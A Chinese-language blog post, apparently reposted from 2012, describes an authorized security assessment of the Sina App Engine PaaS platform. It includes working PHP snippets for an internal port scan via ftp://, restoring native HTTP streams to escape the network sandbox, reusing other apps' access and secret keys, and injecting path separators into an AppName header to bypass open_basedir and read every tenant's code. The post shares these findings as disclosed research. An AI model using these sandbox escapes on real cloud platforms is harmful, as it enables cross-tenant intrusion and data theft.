人的差别在于业余时间,而一个人的命运决定于晚上8点到10点之间。 北京安全测试精英QQ群:164265622 北京白盒测试精英QQ群:164265999 北京性能测试精英QQ群:164266156 北京自动化测试精英群:212723528 北京软件测试精英QQ群:86920845

对SAE的一次授权安全评估检测

上一篇 / 下一篇  2012-02-03 15:46:08 / 个人分类:安全测试

五 对SAE的一次授权安全评估检测

我们的网站一直搭建在SAE平台上,无论是速度,稳定以及工作人员对问题的态度上都非常的不错,SAE之前和乌云有意展开一些合作包括对SAE的安全评估和检测,SAE安全防护很到位,对我们发现的问题都有过积极的反馈和修复,在得到SAE的允许之后这里我们将我们发现的问题做一些分享,相信对其他类似于paas的平台会有帮助

1 know it,了解我们的测试目标

按照我们对新浪云的粗略分析,数据会分为新浪内部数据,SAE平台数据和SAE用户数据,其中新浪内部数据主要是指IDC内部其他业务数据,平台数据包括平台的管理及运维以及相关的业务数据,用户数据主要是指用户上传至SAE的包括代码,数据库,存储等数据。按照我们的安全目标,这些数据之间应该相互隔离,不应该互相影响,不会被非法访问;
新浪对云的保护基本也分为几个方面,一方面是外部的防火墙实现sae与因特网的控制边界,在内部同样是使用了合适的ACL对内部数据进行了防护,我们非常关心的另外一方面也是paas所独有的一方面就是用户数据间的隔离和用户数据与云平台的隔离,这部分是最为复杂也是最为灵活的;SAE对用户数据间的隔离主要是不同用户间通过用户名和密码实现隔离,不同的应用之间通过access_key和secert_key来进行隔离,访问后端的数据库和存储等应用都必须提供access_key以及secert_key来进行;对于用户数据和平台之间的隔离主要包括所有资源的使用必须通过sae提供的接口进行,原生态的文件读写,网络请求都被禁止,而对于代码执行层,sae通过disable_function和open_basedir模拟了一个沙盒环境,以实现在执行态的沙盒保证用户无法对他资源之外的数据进行访问;
我们看到sae在这一块做的努力,我们也尝试对他进行了突破;

2 看看我们可以获得的资源

由于我们能够真正与sae及sae后端所蕴藏的丰富其他用户资源进行交互的,唯一的方式就是执行我们自己的代码,所以我们代码所处的环境和实际的限制对我们来说很重要,我们通过如下代码对系统进行了判断:


<?php

$exts=get_loaded_extensions();
$disables=ini_get("disable_functions");
$disables=explode(",",$disables);

$alls=get_defined_functions();

$myfun=$alls['user'];

for($i=0;$i<count($alls['internal']);$i++){
if(!in_array($alls['internal'][$i],$disables)){
$myfun[]=$alls['internal'][$i];
}
}

var_dump($myfun);

?>

这是所有我们代码可执行的范围,也就是我们所有可能进行的交互,可以看到基本已经知道的可以突破沙箱的函数和方法都做了限制;

3 分析我们的环境

同时我们可以看到sae提供了phpinfo函数支持,那么我们通过phpinfo就可以简单判断当前的环境了,我们需要关心如下选项:


Registered PHP Streams
apache2handler
Apache Environment

open_basedir
disable_functions

auto_prepend_file

这样我们大概了解了我们代码所处的运行环境,同时根据auto_prepend_file的提示我们知道在应用层sae做的一些事情,这里隐藏了太多的秘密包括后端服务的工作方式和sae制造的沙盒里可能有的一些空隙,毕竟这是跟我们的代码同一层所做的安全控制,而不是更底层,主要的包括网络请求的封装,后端资源访问的封装,而那个access_key和secert_key正是在这里起的作用;

4 攻击方式

我们的代码运行于一个open_basedir和disable_function环境中,这两个选项,正常情况下将我们的代码同文件系统以及操作系统隔离开来,使得我们处于一个受限的环境,同时由于在php这一层sae的代码优于我们的代码执行,所以在php代码层同样实现了一个沙箱,在这个沙箱内,我们与其他的任何资源的交互都会受到限制,譬如http请求和socks请求,而正常允许的连接譬如mysql,通过我们的测试,我们发现由于修改了底层的mysql代码,在sae代码执行环境里我们无法连接属于我们固有权限之外的任何数据,但是可以看到由于sae选择在应用层而不是更底层进行的沙箱,所以我们只要我们有可能选择到一些沙箱没有控制到的地方就可能绕过,同时如果沙箱本身实现得不好的话也可能导致产生问题。
先来看看沙箱是否可能漏洞的地方,我们可以简单的对允许使用的php函数进行一次遍历,发现了这么一个函数mb_send_mail并没有被禁用,80sec曾经提到要将mail函数禁用因为这将是php和底层系统进行交互的一个接口,而mb_send_mail同样只是对mail函数的一个封装,我们简单的测试之后证明的确可以利用该函数对底层系统进行读写,但是由于网络的一些原因我们得到了一个500错误,我们所需要的结果并没有如实的反馈给我们,但经过sae证实,该问题的确存在
另外,我们也观察到,sae支持的流非常多,但是真正被封装起来的其实只有一个http协议,封装的目的是对用户产生的请求能够进行控制,譬如限制访问的目的地址和对请求数量等做更精粒度的控制,而对于原生的譬如ftp协议并没有进行限制,这个时候其实我们可以利用这个做一个简单的内网端口扫描器:


echo(file_get_contents('ftp://127.0.0.1:22/111'));

由于sae对错误的处理偏向开发者太过有好,导致通过捕获错误,我们可以看到是否是网络不可达,端口未开放还是协议不匹配,这样我们甚至可以探测出sae与内部网络的隔离程度
ftp协议毕竟不是特别友好,而对于已经封装的http协议我们发现stream_wrapper_unregister和stream_wrapper_restore并没有禁用,于是通过这两个函数我们可以恢复原生的http请求,向所有我们想发起的地方发起http请求了:


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http"));

这只是对网络请求沙箱的一些突破,在实际的用户数据层,我们发现在后端用户是共用一些基本的服务的,譬如memcache,譬如mysql等,后端通过用户传递的access_key以及secert_key来识别用户,我们做了个很有意思的实验:


define( 'SAE_ACCESSKEY', 'm0lm3wyxjyo' );
define( 'SAE_SECRETKEY', '5d2dmz1xwyihjd2m3xzximw5wj30jix0djxl1c5i0iz5' );
define( 'SAE_MYSQL_HOST_M', 'w.rdc.sae.sina.com.cn' );
define( 'SAE_MYSQL_HOST_S', 'r.rdc.sae.sina.com.cn' );
define( 'SAE_MYSQL_PORT', 3307 );
define( 'SAE_MYSQL_USER', SAE_ACCESSKEY );
define( 'SAE_MYSQL_PASS', SAE_SECRETKEY );
define( 'SAE_MYSQL_DB', 'app_' . 'wscan' );

var_dump(mysql_connect('r.rdc.sae.sina.com.cn:3307','m0lm3wyxjyo','5d2m1d0wfffyihj2m3xximw5wj30jix0jxlxl05i0iz5'));

这个会提示

SAE_Warning: mysql_connect() [function.mysql-connect]: this app is not authorised in eval.php

似乎是底层的Mysql对连接的应用做了限制,不允许跨应用去连接数据库,但是我们知道除了在应用代码环境里可以去连接数据库,在SAE提供的面板里也是可以去进行数据库连接的,在控制面板里的实现即是通过access_key和secret_key在后台进行的连接,我们只要替换为我们获得的其他应用的相应key即可连接成功,这个沙箱似乎太简单了,还是没有做到应用只能访问到自己的数据这个原则,那么我们如何获得别人的access_key和secret_key呢,看看那个auto_prepend_file文件,这两个值是从HTTP请求里传递的,并且由于实现上的原因,这个内容在phpinfo里是直接可以看到的,上百度搜索一下sae,phpinfo吧……
到这里似乎我们可以了解到sae的一些机制和机制上的问题,但是都是用户之间的,我们很好奇为什么sae需要在http头里传递access_key和secert_key,这似乎比较难理解,在分析了sae的实现机制之后我们大概可以做如下理解,在前端接收到请求之后,会对请求做一些逻辑判断,譬如是否是有效的应用,应用资源是否超标等等,在做完有效性验证之后请求被转发到后端的执行层,执行环境所需要的一些数据譬如access_key和secert_key就是从这里传递到执行环境的,这里的好处是执行环境只负责执行,不用验证请求的合法性,任何应用的更改譬如禁用启用,增加删除不会影响到后端执行环境,但是这里就会有明显的问题,如果请求的合法性只在前端验证那么如果我们可以直接将请求转发到后端是可能影响到后端逻辑的正确性的,注意phpinfo里如下的信息:


DOCUMENT_ROOT /data1/www/htdocs
SERVER_ADMIN saesupport@sina.cn
SCRIPT_FILENAME /data1/www/htdocs/549/wscan/1/phpinfo.php

我们请求的是phpinfo.php,document_root是在/data1/www/htdocs,理论是上是无法映射到/data1/www/htdocs/549/wscan/1/phpinfo.php的,而且从这个路径我们推测,所有应用的执行代码都是处于/data1/www/htdocs/下面,所有的执行代码都是相同的用户身份运行的,因为一些原因sae并没有在设计上将所有用户的可执行代码做到隔离,隔离只是在执行层利用动态的映射和动态的限制来做的,这个机制是否存在问题呢,看如下精彩的代码:


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http");

$opt = array(
'http' => array(
'header' => "Host: wooyun.sinaapp.com\r\nX-Forwarded-For: 61.135.165.180, 61.135.165.180\r\nAppName: webmanage\r\nAccessKey: ynz0jyo1k1\r\nSecretKey: 1zhwzm5l4yilzyj54xiim5ddywwzzzz342l5lk5\r\nAppHash: 928\r\nMysqlPort: 3307\r\nAppCookie: default_version=1;xhprof=;debug=1;\r\nConnection: close\r\nCookie: saeut=220.181.50.244.1321955938519836\r\nAppVersion: 1",
'protocol_version' => '1.1'
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));

我们利用之前突破http封装的方式实现了一个原生态的http请求,请求直接发往后端的可执行层代码,我们故意使用了别人的appname和apphash去请求一个phpinfo,结果发现正如我们的猜测,所有请求和请求的限制都是动态生成的,生成的原则就是基于appname和apphash等,譬如:


SCRIPT_FILENAME /data1/www/htdocs/549/wscan/1/phpinfo.php

就是基于请求的apphash和appname与DOCUMENT_ROOT一起决定请求的路径,从这种角度来讲,所有用户的资源更像是同一个站点下面的不同页面,理论上是可以获得其他用户资源的,我们尝试继续突破。既然请求路径是动态生成的,我们有理由相信open_basedir也是动态生成的,既然是动态生成的我们就可以进行一次史无前例的注射:

open_basedir格式为:/dir/1:/dir/2

如果我们能产生一段open_basedir为/dir/1:/:/dir/2就可以突破对文件系统的沙箱了,同时这个请求还必须合法,因为我们请求的文件资源会和这个路径保持一致,我们可以建立一个名字为/:/:/的目录,结合../对目录进行遍历,我们是可以同时满足open_basedir和SCRIPT_FILENAME的要求的,最后让我们构造一个如下的请求:


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http");

$opt = array(
'http' => array(
'header' => "Host: wooyun.sinaapp.com\r\nX-Forwarded-For: 61.135.165.180, 61.135.165.180\r\nAppName: webmanage/1/:/:/../../../\r\nAccessKey: ynztttt1k1\r\nSecretKey: 1zhwzm5l4yzzzzyj54xiim5ddywwzill342l5lk5\r\nAppHash: 928\r\nMysqlPort: 3307\r\nAppCookie: default_version=1;xhprof=;debug=1;\r\nConnection: close\r\nCookie: saeut=220.181.50.244.1321955938519836\r\nAppVersion: 1",
'protocol_version' => '1.1'
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));

注意AppName: webmanage/1/:/:/../../../,这个时候webmanage下得所有请求都将是绕过了open_basedir的限制的,我们顺利的访问到了所有用户的代码资源,包括SAE平台执行环境的资源;
我们在获得了数据权限之后尝试对sae的系统环境进行了突破,也发现了一些问题,但是没有得到实质的突破,将来有机会会再次分享 :)

5 总结

SAE在设计的时候就考虑了安全性,并且防护非常严密,在易用性和安全性中实现了一个优雅的平衡,但是我们也可以看到对于paas的设计来讲,由于需要允许用户的代码尽量友好高效的运行,所以很容易在一些安全策略实现的细节当中出现一些问题,作为paas应用上下文的特殊性,其他的paas厂商在实现和设计的时候更应该严格注意这些安全问题,避免给平台和用户造成安全损失。

 


TAG:

 

评分:0

我来说两句

Open Toolbar